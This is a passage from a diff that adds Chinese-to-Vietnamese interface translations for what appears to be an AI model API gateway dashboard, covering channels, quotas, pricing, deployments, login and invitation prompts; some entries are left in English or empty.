+    "请输入您的邮箱地址": "Vui lòng nhập địa chỉ email của bạn",
+    "请输入您的问题...": "Vui lòng nhập câu hỏi của bạn...",
+    "请输入搜索关键字": "Vui lòng nhập từ khóa tìm kiếm",
+    "请输入搜索内容": "Vui lòng nhập nội dung tìm kiếm",
+    "请输入支付金额": "Vui lòng nhập số tiền thanh toán",
+    "请输入数值": "Vui lòng nhập giá trị số",
+    "请输入数字": "Vui lòng nhập số",
+    "请输入新密码": "Vui lòng nhập mật khẩu mới",
+    "请输入新密码！": "Vui lòng nhập mật khẩu mới!",
+    "请输入新建数量": "Vui lòng nhập số lượng tạo mới",
+    "请输入新标签，留空则解散标签": "Vui lòng nhập thẻ mới, để trống để giải tán thẻ",
+    "请输入新的剩余额度": "Vui lòng nhập hạn ngạch còn lại mới",
+    "请输入新的密码": "Vui lòng nhập mật khẩu mới",
+    "请输入新的密码，最短 8 位": "Vui lòng nhập mật khẩu mới, tối thiểu 8 ký tự",
+    "请输入新的显示名称": "Vui lòng nhập tên hiển thị mới",
+    "请输入新的用户名": "Vui lòng nhập tên người dùng mới",
+    "请输入新的部署名称": "Please enter new deployment name",
+    "请输入旧密码": "Vui lòng nhập mật khẩu cũ",
+    "请输入显示名称": "Vui lòng nhập tên hiển thị",
+    "请输入有效的JSON格式的请求体。您可以参考预览面板中的默认请求体格式。": "Vui lòng nhập nội dung yêu cầu có định dạng JSON hợp lệ. Bạn có thể tham khảo định dạng nội dung yêu cầu mặc định trong bảng xem trước.",
+    "请输入有效的数值": "Vui lòng nhập giá trị hợp lệ",
+    "请输入有效的数字": "Vui lòng nhập số hợp lệ",
+    "请输入有效的镜像地址": "Please enter a valid image address",
+    "请输入标签名称": "Vui lòng nhập tên thẻ",
+    "请输入标题": "Vui lòng nhập tiêu đề",
+    "请输入模型倍率": "Vui lòng nhập tỷ lệ mô hình",
+    "请输入模型倍率和补全倍率": "Vui lòng nhập tỷ lệ mô hình và tỷ lệ hoàn thành",
+    "请输入模型名称": "Vui lòng nhập tên mô hình",
+    "请输入模型名称，例如: llama3.2, qwen2.5:7b": "Please enter model name, e.g.: llama3.2, qwen2.5:7b",
+    "请输入模型名称，如：gpt-4": "Vui lòng nhập tên mô hình, như: gpt-4",
+    "请输入模型描述": "Vui lòng nhập mô tả mô hình",
+    "请输入汇率": "Vui lòng nhập tỷ giá hối đoái",
+    "请输入消息内容...": "Vui lòng nhập nội dung tin nhắn...",
+    "请输入渠道名称": "Vui lòng nhập tên kênh",
+    "请输入状态页面Slug": "Vui lòng nhập Slug trang trạng thái",
+    "请输入状态页面的Slug，如：my-status": "Vui lòng nhập Slug của trang trạng thái, như: my-status",
+    "请输入生成数量": "Vui lòng nhập số lượng tạo",
+    "请输入用户 ID": "Vui lòng nhập ID người dùng",
+    "请输入用户名": "Vui lòng nhập tên người dùng",
+    "请输入用户名或邮箱": "Vui lòng nhập tên người dùng hoặc email",
+    "请输入登录密码": "Vui lòng nhập mật khẩu đăng nhập",
+    "请输入确认密码": "Vui lòng nhập mật khẩu xác nhận",
+    "请输入私有令牌": "Vui lòng nhập mã thông báo riêng tư",
+    "请输入私有部署地址，格式为：https://fastgpt.run/api/openapi": "Vui lòng nhập địa chỉ triển khai riêng, định dạng: https://fastgpt.run/api/openapi",
+    "请输入秒数": "Vui lòng nhập số giây",
+    "请输入简介": "Vui lòng nhập phần giới thiệu",
+    "请输入管理员密码": "Vui lòng nhập mật khẩu quản trị viên",
+    "请输入管理员用户名": "Vui lòng nhập tên người dùng quản trị viên",
+    "请输入线路描述": "Vui lòng nhập mô tả tuyến",
+    "请输入组名": "Vui lòng nhập tên nhóm",
+    "请输入组描述": "Vui lòng nhập mô tả nhóm",
+    "请输入组织org-xxx": "Vui lòng nhập tổ chức org-xxx",
+    "请输入聊天应用名称": "Vui lòng nhập tên ứng dụng trò chuyện",
+    "请输入补全倍率": "Vui lòng nhập tỷ lệ hoàn thành",
+    "请输入要延长的小时数": "Please enter the number of hours to extend",
+    "请输入要设置的标签名称": "Vui lòng nhập tên thẻ cần đặt",
+    "请输入认证器验证码": "Vui lòng nhập mã xác minh trình xác thực",
+    "请输入认证器验证码或备用码": "Vui lòng nhập mã xác minh trình xác thực hoặc mã dự phòng",
+    "请输入说明": "Vui lòng nhập mô tả",
+    "请输入账号": "Vui lòng nhập tài khoản",
+    "请输入转账金额": "Vui lòng nhập số tiền chuyển",
+    "请输入运行时长": "Please enter runtime duration",
+    "请输入邮箱": "Vui lòng nhập email",
+    "请输入邮箱！": "Vui lòng nhập email của bạn!",
+    "请输入邮箱地址": "Vui lòng nhập địa chỉ email",
+    "请输入邮箱验证码！": "Vui lòng nhập mã xác minh email!",
+    "请输入部署名称": "Please enter deployment name",
+    "请输入部署名称以完成二次确认": "Enter deployment name to complete secondary confirmation",
+    "请输入部署地区，例如：us-central1\n支持使用模型映射格式\n{\n    \"default\": \"us-central1\",\n    \"claude-3-5-sonnet-20240620\": \"europe-west1\"\n}": "Vui lòng nhập khu vực triển khai, ví dụ: us-central1\nHỗ trợ sử dụng định dạng ánh xạ mô hình\n{\n    \"default\": \"us-central1\",\n    \"claude-3-5-sonnet-20240620\": \"europe-west1\"\n}",
+    "请输入重置后的新密码": "Vui lòng nhập mật khẩu mới sau khi đặt lại",
+    "请输入金额": "Vui lòng nhập số tiền",
+    "请输入链接": "Vui lòng nhập liên kết",
+    "请输入镜像地址": "Please enter image address",
+    "请输入问题标题": "Vui lòng nhập tiêu đề câu hỏi",
+    "请输入预警阈值": "Vui lòng nhập ngưỡng cảnh báo",
+    "请输入预警额度": "Vui lòng nhập hạn ngạch cảnh báo",
+    "请输入额度": "Vui lòng nhập hạn ngạch",
+    "请输入验证码": "Vui lòng nhập mã xác minh",
+    "请输入验证码或备用码": "Vui lòng nhập mã xác minh hoặc mã dự phòng",
+    "请输入默认 API 版本，例如：2025-04-01-preview": "Vui lòng nhập phiên bản API mặc định, ví dụ: 2025-04-01-preview",
+    "请选择": "Vui lòng chọn",
+    "请选择API地址": "Vui lòng chọn địa chỉ API",
+    "请选择一个文件": "Vui lòng chọn một tệp",
+    "请选择一条规则进行编辑。": "Vui lòng chọn một quy tắc để chỉnh sửa.",
+    "请选择主模型": "Vui lòng chọn model chính",
+    "请选择产品": "Select a product",
+    "请选择你的复制方式": "Vui lòng chọn phương thức sao chép của bạn",
+    "请选择使用模式": "Vui lòng chọn chế độ sử dụng",
+    "请选择分组": "Vui lòng chọn nhóm",
+    "请选择发布日期": "Vui lòng chọn ngày xuất bản",
+    "请选择可以使用该渠道的分组": "Vui lòng chọn các nhóm có thể sử dụng kênh này",
+    "请选择可以使用该渠道的分组，留空则不更改": "Vui lòng chọn các nhóm có thể sử dụng kênh này, để trống sẽ không thay đổi",
+    "请选择同步语言": "Vui lòng chọn ngôn ngữ đồng bộ",
+    "请选择名称匹配类型": "Vui lòng chọn loại khớp tên",
+    "请选择图片": "Vui lòng chọn hình ảnh",
+    "请选择多密钥使用策略": "Vui lòng chọn chính sách sử dụng đa khóa",
+    "请选择密钥更新模式": "Vui lòng chọn chế độ cập nhật khóa",
+    "请选择密钥格式": "Vui lòng chọn định dạng khóa",
+    "请选择支付方式": "Vui lòng chọn phương thức thanh toán",
+    "请选择文件": "Vui lòng chọn tệp",
+    "请选择日志记录时间": "Vui lòng chọn thời gian ghi nhật ký",
+    "请选择日期": "Vui lòng chọn ngày",
+    "请选择时间": "Vui lòng chọn thời gian",
+    "请选择模型": "Vui lòng chọn mô hình",
+    "请选择模型。": "Vui lòng chọn mô hình.",
+    "请选择消息优先级": "Vui lòng chọn ưu tiên tin nhắn",
+    "请选择渠道": "Vui lòng chọn kênh",
+    "请选择渠道类型": "Vui lòng chọn loại kênh",
+    "请选择用户": "Vui lòng chọn người dùng",
+    "请选择硬件类型": "Please select hardware type",
+    "请选择类型": "Vui lòng chọn loại",
+    "请选择组类型": "Vui lòng chọn loại nhóm",
+    "请选择至少一个部署位置": "Please select at least one deployment location",
+    "请选择要上传的文件": "Vui lòng chọn tệp để tải lên",
+    "请选择要删除的记录": "Vui lòng chọn hồ sơ để xóa",
+    "请选择要导出的数据": "Vui lòng chọn dữ liệu để xuất",
+    "请选择订阅套餐": "Vui lòng chọn gói đăng ký",
+    "请选择该令牌支持的模型，留空支持所有模型": "Vui lòng chọn các mô hình được mã thông báo này hỗ trợ, để trống để hỗ trợ tất cả các mô hình",
+    "请选择该渠道所支持的模型": "Vui lòng chọn mô hình được kênh này hỗ trợ",
+    "请选择该渠道所支持的模型，留空则不更改": "Vui lòng chọn mô hình được kênh này hỗ trợ, để trống sẽ không thay đổi",
+    "请选择语言": "Vui lòng chọn ngôn ngữ",
+    "请选择过期时间": "Vui lòng chọn thời gian hết hạn",
+    "请选择通知方式": "Vui lòng chọn phương thức thông báo",
+    "请阅读并同意": "Vui lòng đọc và đồng ý",
+    "读取": "Đọc",
+    "读取失败": "Đọc thất bại",
+    "调整额度": "Điều chỉnh hạn ngạch",
+    "调整额度成功": "Điều chỉnh hạn ngạch thành công",
+    "调用次数": "Số lần gọi",
+    "调用次数分布": "Phân phối số lần gọi",
+    "调用次数排行": "Xếp hạng số lần gọi",
+    "调用趋势": "Xu hướng cuộc gọi",
+    "调试信息": "Thông tin gỡ lỗi",
+    "谨慎": "Thận trọng",
+    "警告": "Cảnh báo",
+    "警告：启用保活后，如果已经写入保活数据后渠道出错，系统无法重试，如果必须开启，推荐设置尽可能大的Ping间隔": "Cảnh báo: Sau khi bật giữ kết nối, nếu kênh bị lỗi sau khi dữ liệu giữ kết nối đã được ghi, hệ thống không thể thử lại. Nếu bắt buộc phải bật, nên đặt khoảng thời gian Ping càng lớn càng tốt",
+    "警告：禁用两步验证将永久删除您的验证设置和所有备用码，此操作不可撤销！": "Cảnh báo: Vô hiệu hóa xác thực hai yếu tố sẽ xóa vĩnh viễn cài đặt xác minh và tất cả mã dự phòng của bạn, thao tác này không thể hoàn tác!",
+    "豆包": "Doubao",
+    "财务": "Tài chính",
+    "账单": "Hóa đơn",
+    "账号": "Tài khoản",
+    "账号设置": "Cài đặt tài khoản",
+    "账户": "Tài khoản",
+    "账户余额": "Số dư tài khoản",
+    "账户信息": "Thông tin tài khoản",
+    "账户充值": "Nạp tiền tài khoản",
+    "账户安全": "Bảo mật tài khoản",
+    "账户已删除！": "Tài khoản đã bị xóa!",
+    "账户已封禁": "Tài khoản đã bị cấm",
+    "账户已激活": "Tài khoản đã được kích hoạt",
+    "账户已禁用": "Tài khoản đã bị vô hiệu hóa",
+    "账户已锁定": "Tài khoản đã bị khóa",
+    "账户数据": "Dữ liệu tài khoản",
+    "账户状态": "Trạng thái tài khoản",
+    "账户管理": "Quản lý tài khoản",
+    "账户类型": "Loại tài khoản",
+    "账户绑定": "Liên kết tài khoản",
+    "账户绑定、安全设置和身份验证": "Liên kết tài khoản, cài đặt bảo mật và xác minh danh tính",
+    "账户绑定管理": "Quản lý liên kết tài khoản",
+    "账户统计": "Thống kê tài khoản",
+    "账户设置": "Cài đặt tài khoản",
+    "账户详情": "Chi tiết tài khoản",
+    "货币": "Tiền tệ",
+    "货币单位": "Đơn vị tiền tệ",
+    "购买上限": "Giới hạn mua",
+    "购买兑换码": "Mua mã đổi thưởng",
+    "购买套餐后即可享受模型权益": "Mua gói để nhận quyền lợi mô hình",
+    "购买或手动新增订阅会升级到该分组；当套餐失效/过期或手动作废/删除后，将回退到升级前分组。回退不会立即生效，通常会有几分钟延迟。": "Mua hoặc thêm thủ công đăng ký sẽ nâng cấp lên nhóm này. Khi gói hết hạn/vô hiệu/xóa, sẽ quay lại nhóm trước. Việc quay lại không áp dụng ngay và thường mất vài phút.",
+    "购买订阅套餐": "Mua gói đăng ký",
+    "购买订阅获得模型额度/次数": "Mua đăng ký để nhận hạn mức/lượt dùng mô hình",
+    "费率": "Tỷ lệ",
+    "费用信息": "Cost Information",
+    "费用预估": "Cost Estimate",
+    "资源消耗": "Tiêu thụ tài nguyên",
+    "资费": "Biểu giá",
+    "资金": "Quỹ",
+    "资金明细": "Chi tiết quỹ",
+    "起始时间": "Thời gian bắt đầu",
+    "超级管理员": "Siêu quản trị viên",
+    "超级管理员未设置充值链接！": "Siêu quản trị viên chưa đặt liên kết nạp tiền!",
+    "超过阈值时拒绝新请求": "Từ chối yêu cầu mới khi vượt ngưỡng",
+    "跟随日志": "Follow Logs",
+    "跟随系统主题设置": "Theo cài đặt chủ đề hệ thống",
+    "跨分组": "Giữa các nhóm",
+    "跨分组特殊倍率": "Cross-Group Special Ratios",
+    "跨分组重试": "Thử lại giữa các nhóm",
+    "路径正则": "Regex đường dẫn",
+    "路径正则（每行一个）": "Regex đường dẫn (mỗi dòng một mục)",
+    "跳转": "Nhảy",
+    "转大写": "",
+    "转小写": "",
+    "转账": "Chuyển tiền",
+    "转账成功": "Chuyển tiền thành công",
+    "转账给用户": "Chuyển tiền cho người dùng",
+    "转账记录": "Hồ sơ chuyển tiền",
+    "轮询": "Thăm dò",
+    "轮询模式": "Chế độ thăm dò",
+    "轮询模式必须搭配Redis和内存缓存功能使用，否则性能将大幅降低，并且无法实现轮询功能": "Chế độ thăm dò phải được sử dụng với Redis và chức năng bộ nhớ đệm, nếu không hiệu suất sẽ giảm đáng kể và chức năng thăm dò sẽ không thể thực hiện được",
+    "软件版本": "Phiên bản phần mềm",
+    "软错误": "",
+    "输入": "Đầu vào",
+    "输入 {{price}} / 1M tokens": "Đầu vào {{price}} / 1M tokens",
+    "输入 $/1M tokens": "",
+    "输入 OIDC 的 Authorization Endpoint": "Nhập Authorization Endpoint của OIDC",
+    "输入 OIDC 的 Client ID": "Nhập Client ID của OIDC",
+    "输入 OIDC 的 Token Endpoint": "Nhập Token Endpoint của OIDC",
+    "输入 OIDC 的 Userinfo Endpoint": "Nhập Userinfo Endpoint của OIDC",
+    "输入IP地址后回车，如：8.8.8.8": "Nhập địa chỉ IP và nhấn Enter, ví dụ: 8.8.8.8",
+    "输入JSON对象": "Nhập đối tượng JSON",
+    "输入价格": "Giá đầu vào",
+    "输入价格 {{symbol}}{{price}} / 1M tokens": "Giá đầu vào {{symbol}}{{price}} / 1M tokens",
+    "输入价格：{{symbol}}{{price}} / 1M tokens": "Giá đầu vào: {{symbol}}{{price}} / 1M tokens",
+    "输入价格：{{symbol}}{{price}} / 1M tokens{{audioPrice}}": "Giá đầu vào: {{symbol}}{{price}} / 1M tokens{{audioPrice}}",
+    "输入你注册的 LinuxDO OAuth APP 的 ID": "Nhập ID của LinuxDO OAuth APP bạn đã đăng ký",
+    "输入你的账户名{{username}}以确认删除": "Nhập tên tài khoản của bạn {{username}} để xác nhận xóa",
+    "输入倍率": "Tỷ lệ đầu vào",
+    "输入域名后回车": "Nhập tên miền và nhấn Enter",
+    "输入域名后回车，如：example.com": "Nhập tên miền và nhấn Enter, ví dụ: example.com",
+    "输入密码，最短 8 位，最长 20 位": "Nhập mật khẩu, tối thiểu 8 ký tự, tối đa 20 ký tự",
+    "输入数字": "Nhập số",
+    "输入新密码": "Nhập mật khẩu mới",
+    "输入旧密码": "Nhập mật khẩu cũ",
+    "输入标签或使用\",\"分隔多个标签": "Nhập thẻ hoặc sử dụng \",\" để phân tách nhiều thẻ",
+    "输入模型倍率": "Nhập tỷ lệ mô hình",
+    "输入模型名称，例如 gpt-4.1": "Nhập tên mô hình, ví dụ gpt-4.1",
+    "输入每次价格": "Nhập giá mỗi lần",
+    "输入每次调用价格": "",
+    "输入端口后回车，如：80 或 8000-8999": "Nhập cổng và nhấn Enter, ví dụ: 80 hoặc 8000-8999",
+    "输入系统提示词，用户的系统提示词将优先于此设置": "Nhập từ nhắc hệ thống, từ nhắc hệ thống của người dùng sẽ được ưu tiên hơn cài đặt này",
+    "输入自定义模型名称": "Nhập tên mô hình tùy chỉnh",
+    "输入补全价格": "Nhập giá hoàn thành",
+    "输入补全倍率": "Nhập tỷ lệ hoàn thành",
+    "输入要添加的邮箱域名": "Nhập tên miền email cần thêm",
+    "输入认证器应用显示的6位数字验证码": "Nhập mã xác minh 6 chữ số hiển thị trên ứng dụng xác thực",
+    "输入邮箱地址": "Nhập địa chỉ email",
+    "输入金额": "Nhập số tiền",
+    "输入项目名称，按回车添加": "Nhập tên dự án, nhấn Enter để thêm",
+    "输入额度": "Nhập hạn ngạch",
+    "输入验证码": "Nhập mã xác minh",
+    "输入验证码完成设置": "Nhập mã xác minh để hoàn tất cài đặt",
+    "输出": "Đầu ra",
+    "输出 {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}}) * {{ratioType}} {{ratio}}": "Đầu ra {{completion}} tokens / 1M tokens * {{symbol}}{{compPrice}}) * {{ratioType}} {{ratio}}",
+    "输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 补全倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu ra: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số hoàn thành {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "输出：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 输出倍率 {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu ra: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số đầu ra {{completionRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "输出价格": "Giá đầu ra",
+    "输出价格 {{symbol}}{{price}} / 1M tokens": "Giá đầu ra {{symbol}}{{price}} / 1M tokens",
+    "输出价格：{{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (补全倍率: {{completionRatio}})": "Giá đầu ra: {{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ hoàn thành: {{completionRatio}})",
+    "输出价格：{{symbol}}{{price}} / 1M tokens": "Giá đầu ra: {{symbol}}{{price}} / 1M tokens",
+    "输出价格：{{symbol}}{{total}} / 1M tokens": "Giá đầu ra: {{symbol}}{{total}} / 1M tokens",
+    "输出倍率 {{completionRatio}}": "Output ratio {{completionRatio}}",
+    "边栏设置": "Cài đặt thanh bên",
+    "过期于": "Hết hạn vào",
+    "过期时间": "Thời gian hết hạn",
+    "过期时间不能早于当前时间！": "Thời gian hết hạn không thể sớm hơn thời gian hiện tại!",
+    "过期时间快捷设置": "Cài đặt nhanh thời gian hết hạn",
+    "过期时间格式错误！": "Lỗi định dạng thời gian hết hạn!",
+    "运营设置": "Vận hành",
+    "运行中": "Đang chạy",
+    "运行命令 (Command)": "Command",
+    "运行时长": "Runtime Duration",
+    "运行时长（小时）": "Runtime Duration (hours)",
+    "运行状态": "Trạng thái chạy",
+    "运行环境": "Môi trường chạy",
+    "返回": "Quay lại",
+    "返回上级": "Quay lại cấp trên",
+    "返回修改": "Go back and edit",
+    "返回列表": "Quay lại danh sách",
+    "返回登录": "Quay lại đăng nhập",
+    "返回错误": "",
+    "返回首页": "Quay lại trang chủ",
+    "这个界面默认按价格填写，保存时会自动换算回后端需要的倍率 JSON。": "Giao diện này mặc định nhập theo giá, khi lưu sẽ tự động quy đổi lại thành JSON tỷ lệ mà backend yêu cầu.",
+    "这些价格都是可选项，不填也可以。": "Tất cả các mức giá này đều là tùy chọn và có thể để trống.",
+    "这将删除超过 10 分钟未使用的临时缓存文件": "Điều này sẽ xóa các tệp cache tạm thời không được sử dụng trong hơn 10 phút",
+    "这是基础金额，实际扣费 = 基础金额 x 系统分组倍率。": "Đây là số tiền cơ bản. Số tiền trừ thực tế = số tiền cơ bản × tỷ lệ nhóm hệ thống.",
+    "这是重复键中的最后一个，其值将被使用": "Đây là khóa cuối cùng trong số các khóa trùng lặp và giá trị của nó sẽ được sử dụng",
+    "这里直接编辑 JSON 对象。适合简单覆盖参数的场景。": "Chỉnh sửa đối tượng JSON trực tiếp tại đây. Phù hợp cho các trường hợp ghi đè tham số đơn giản.",
+    "进入": "Nhập",
+    "进度": "Tiến độ",
+    "进行中": "Đang tiến hành",
+    "进行该操作时，可能导致渠道访问错误，请仅在数据库出现问题时使用": "Khi thực hiện thao tác này, có thể gây ra lỗi truy cập kênh. Vui lòng chỉ sử dụng khi có vấn đề với cơ sở dữ liệu.",
+    "违规扣费": "Khấu phí vi phạm",
+    "违规扣费金额": "Số tiền trừ phí vi phạm",
+    "连接保活设置": "Cài đặt giữ kết nối",
+    "连接信息已填入": "Đã áp dụng thông tin kết nối",
+    "连接已断开": "Kết nối đã ngắt",
+    "连接测试中...": "Testing connection...",
+    "追加": "Append",
+    "追加到现有密钥": "Thêm vào khóa hiện có",
+    "追加模式：将新密钥添加到现有密钥列表末尾": "Chế độ thêm: thêm khóa mới vào cuối danh sách khóa hiện có",
+    "追加模式：新密钥将添加到现有密钥列表的末尾": "Chế độ thêm: khóa mới sẽ được thêm vào cuối danh sách khóa hiện có",
+    "追加模板": "Thêm mẫu",
+    "退出": "Thoát",
+    "退出全屏": "Thoát toàn màn hình",
+    "退出登录": "Đăng xuất",
+    "退款": "Hoàn tiền",
+    "适合 MJ / 任务类等按次收费模型。": "Phù hợp cho MJ và các mô hình tính phí theo lượt gọi tương tự.",
+    "适合同系列模型一起定价，例如把 gpt-5.1 的价格批量同步到 gpt-5.1-high、gpt-5.1-low 等模型。": "Phù hợp để định giá cùng lúc các biến thể cùng dòng, ví dụ đồng bộ giá của gpt-5.1 sang gpt-5.1-high, gpt-5.1-low và các mô hình tương tự.",
+    "适用于个人使用的场景，不需要设置模型价格": "Phù hợp cho mục đích sử dụng cá nhân, không cần đặt giá mô hình.",
+    "适用于为多个用户提供服务的场景": "Phù hợp cho các kịch bản cung cấp dịch vụ cho nhiều người dùng.",
+    "适用于展示系统功能的场景，提供基础功能演示": "Phù hợp cho các kịch bản hiển thị chức năng hệ thống, cung cấp bản demo chức năng cơ bản.",
+    "适配 -thinking、-thinking-预算数字 和 -nothinking 后缀": "Thích ứng với các hậu tố -thinking, -thinking-budget number, -nothinking và -low/-medium/-high",
+    "选填": "Tùy chọn",
+    "选择": "Chọn",
+    "选择 premium 创建的令牌，调用 API 时费用为 standard 的 50%。": "Tokens created with premium cost 50% of standard when calling APIs.",
+    "选择主题": "Chọn chủ đề",
+    "选择使用分组": "Select using group",
+    "选择充值套餐": "Chọn gói nạp tiền",
+    "选择充值额度": "Chọn hạn ngạch nạp tiền",
+    "选择全部": "Chọn tất cả",
+    "选择分组": "Chọn nhóm",
+    "选择同步来源": "Chọn nguồn đồng bộ",
+    "选择同步渠道": "Chọn kênh đồng bộ",
+    "选择同步语言": "Chọn ngôn ngữ đồng bộ",
+    "选择图片": "Chọn hình ảnh",
+    "选择头像": "Chọn ảnh đại diện",
+    "选择容器": "Select Container",
+    "选择您的首选界面语言，设置将自动保存并同步到所有设备": "Chọn ngôn ngữ giao diện ưa thích, cài đặt sẽ tự động lưu và đồng bộ trên tất cả thiết bị",
+    "选择成功": "Chọn thành công",
+    "选择支付方式": "Chọn phương thức thanh toán",
+    "选择支持的认证设备类型": "Chọn loại thiết bị xác thực được hỗ trợ",
+    "选择文件": "Chọn tệp",
+    "选择方式": "Chọn phương thức",
+    "选择日期": "Chọn ngày",
+    "选择时间": "Chọn thời gian",
+    "选择模型": "Chọn mô hình",
+    "选择模型供应商": "Chọn nhà cung cấp mô hình",
+    "选择模型后可一键填充当前选中令牌（或本页第一个令牌）。": "Sau khi chọn mô hình, bạn có thể điền mã thông báo đang chọn (hoặc mã thông báo đầu tiên trên trang này) bằng một cú nhấp chuột.",
+    "选择模型开始对话": "Chọn mô hình để bắt đầu cuộc trò chuyện",
+    "选择渠道": "Chọn kênh",
+    "选择状态": "Select Status",
+    "选择用户": "Chọn người dùng",
+    "选择用户分组": "Select user group",
+    "选择硬件类型": "Select Hardware Type",
+    "选择端点类型": "Chọn loại điểm cuối",
+    "选择类型": "Chọn loại",
+    "选择系统运行模式": "Chọn chế độ chạy hệ thống",
+    "选择组类型": "Vui lòng chọn loại nhóm",
+    "选择要覆盖的冲突项": "Chọn các mục xung đột để ghi đè",
+    "选择角色": "Chọn vai trò",
+    "选择订阅套餐": "Chọn gói đăng ký",
+    "选择语言": "Chọn ngôn ngữ",
+    "选择过期时间（可选，留空为永久）": "Chọn thời gian hết hạn (tùy chọn, để trống là vĩnh viễn)",
+    "选择部署位置（可多选）": "Select deployment location(s) (multiple selections allowed)",
+    "选择预设模板（可选）": "Chọn mẫu đặt trước (tùy chọn)",
+    "选项": "Tùy chọn",
+    "透传请求体": "Truyền qua thân yêu cầu",
+    "透传请求头": "",
+    "递归": "Đệ quy",
+    "递归策略": "Chiến lược đệ quy",
+    "通义千问": "Qwen",
+    "通用": "Chung",
+    "通用设置": "Cài đặt chung",
+    "通知": "Thông báo",
+    "通知、价格和隐私相关设置": "Cài đặt liên quan đến thông báo, giá cả và quyền riêng tư",
+    "通知内容": "Nội dung thông báo",
+    "通知内容，支持 {{value}} 变量占位符": "Nội dung thông báo, hỗ trợ trình giữ chỗ biến {{value}}",
+    "通知方式": "Phương thức thông báo",
+    "通知标题": "Tiêu đề thông báo",
+    "通知类型 (quota_exceed: 额度预警)": "Loại thông báo (quota_exceed: cảnh báo hạn ngạch)",
+    "通知邮箱": "Email thông báo",
+    "通知配置": "Cấu hình thông báo",
+    "通过": "Thông qua",
+    "通过 GitHub 登录": "Đăng nhập qua GitHub",
+    "通过 Google 登录": "Đăng nhập qua Google",
+    "通过 Telegram 登录": "Đăng nhập qua Telegram",
+    "通过 WeChat 登录": "Đăng nhập qua WeChat",
+    "通过分组可以实现不同用户等级的差异化定价，例如 VIP 用户享受更低的 API 调用费用。": "Groups enable differentiated pricing for different user tiers. For example, VIP users can enjoy lower API costs.",
+    "通过划转功能将奖励额度转入到您的账户余额中": "Chuyển số tiền thưởng vào số dư tài khoản của bạn thông qua chức năng chuyển tiền",
+    "通过密码注册时需要进行邮箱验证": "Xác minh email là bắt buộc khi đăng ký bằng mật khẩu",
+    "通过此功能，可以根据用户所在分组，为不同等级的用户展示不同的可选列表。": "This feature allows showing different selectable group lists to users of different tiers.",
+    "通过邮箱重置密码": "Đặt lại mật khẩu qua email",
+    "通过验证码重置密码": "Đặt lại mật khẩu qua mã xác minh",
+    "通道": "Kênh",
+    "通道 ${name} 余额更新成功！": "Cập nhật hạn ngạch kênh ${name} thành công!",
+    "通道 ${name} 测试成功，模型 ${model} 耗时 ${time.toFixed(2)} 秒。": "Kênh ${name} kiểm tra thành công, mô hình ${model} mất ${time.toFixed(2)} giây.",
+    "通道 ${name} 测试成功，耗时 ${time.toFixed(2)} 秒。": "Kênh ${name} kiểm tra thành công, mất ${time.toFixed(2)} giây.",
+    "通道 ID": "ID kênh",
+    "通道测试": "Kiểm tra kênh",
+    "通道状态": "Trạng thái kênh",
+    "通道管理": "Quản lý kênh",
+    "通道类型": "Loại kênh",
+    "通道设置": "Cài đặt kênh",
+    "速率限制设置": "Giới hạn tốc độ",
+    "逻辑": "Logic",
+    "邀请": "Mời",
+    "邀请人": "Người mời",
+    "邀请人数": "Số người được mời",
+    "邀请信息": "Thông tin mời",
+    "邀请列表": "Danh sách mời",
+    "邀请奖励": "Phần thưởng mời",
+    "邀请好友注册，好友充值后您可获得相应奖励": "Mời bạn bè đăng ký, bạn có thể nhận được phần thưởng tương ứng sau khi bạn bè nạp tiền",
+    "邀请好友获得额外奖励": "Mời bạn bè để nhận thêm phần thưởng",
+    "邀请新用户奖励额度": "Hạn ngạch thưởng mời người dùng mới",
+    "邀请的好友越多，获得的奖励越多": "Mời càng nhiều bạn bè, bạn càng nhận được nhiều phần thưởng",
+    "邀请码": "Mã mời",
+    "邀请获得额度": "Hạn ngạch nhận được từ lời mời",
+    "邀请链接": "Liên kết mời",
+    "邀请链接已复制到剪切板": "Liên kết mời đã được sao chép vào khay nhớ tạm",
+    "邀请链接已复制到剪贴板": "Liên kết mời đã được sao chép vào khay nhớ tạm",
+    "邮件通知": "Thông báo email",
+    "邮箱": "Email",
+    "邮箱地址": "Địa chỉ email",
+    "邮箱域名格式不正确，请输入有效的域名，如 gmail.com": "Định dạng tên miền email không chính xác, vui lòng nhập tên miền hợp lệ như gmail.com",
+    "邮箱域名白名单": "Danh sách trắng tên miền email",
+    "邮箱域名白名单格式不正确": "Định dạng danh sách trắng tên miền email không chính xác",
+    "邮箱字段（可选）": "Trường email (tùy chọn)",
+    "邮箱已激活": "Email đã được kích hoạt",
+    "邮箱已绑定": "Email đã được liên kết",
+    "邮箱已验证": "Email đã được xác minh",
+    "邮箱找回密码": "Khôi phục mật khẩu qua email",
+    "邮箱注册": "Đăng ký email",
+    "邮箱登录": "Đăng nhập email",
+    "邮箱设置": "Cài đặt email",
+    "邮箱账户绑定成功！": "Liên kết tài khoản email thành công!",
+    "邮箱验证": "Xác minh email",
+    "邮箱验证码": "Mã xác minh email",
+    "部分保存失败": "Lưu một phần thất bại",
+    "部分保存失败，请重试": "Lưu một phần thất bại, vui lòng thử lại",
+    "部分渠道测试失败：": "Một số kênh kiểm tra thất bại: ",
+    "部署 ID": "Deployment ID",
+    "部署ID": "Deployment ID",
+    "部署中": "Deploying",
+    "部署位置": "Deployment Location",
+    "部署位置加载中...": "Loading deployment locations...",
+    "部署删除成功": "Deployment deleted successfully",
+    "部署名称": "Deployment Name",
+    "部署名称不匹配，请检查后重新输入": "Deployment name does not match, please check and re-enter",
+    "部署名称只能包含字母、数字、横线、下划线和中文": "Deployment name can only contain letters, numbers, hyphens, underscores and Chinese characters",
+    "部署名称更新成功": "Deployment name updated successfully",
+    "部署启动成功": "Deployment started successfully",
+    "部署地区": "Khu vực triển khai",
+    "部署请求中": "Requesting deployment",
+    "部署配置": "Deployment Configuration",
+    "部署重启成功": "Deployment restarted successfully",
+    "配置": "Cấu hình",
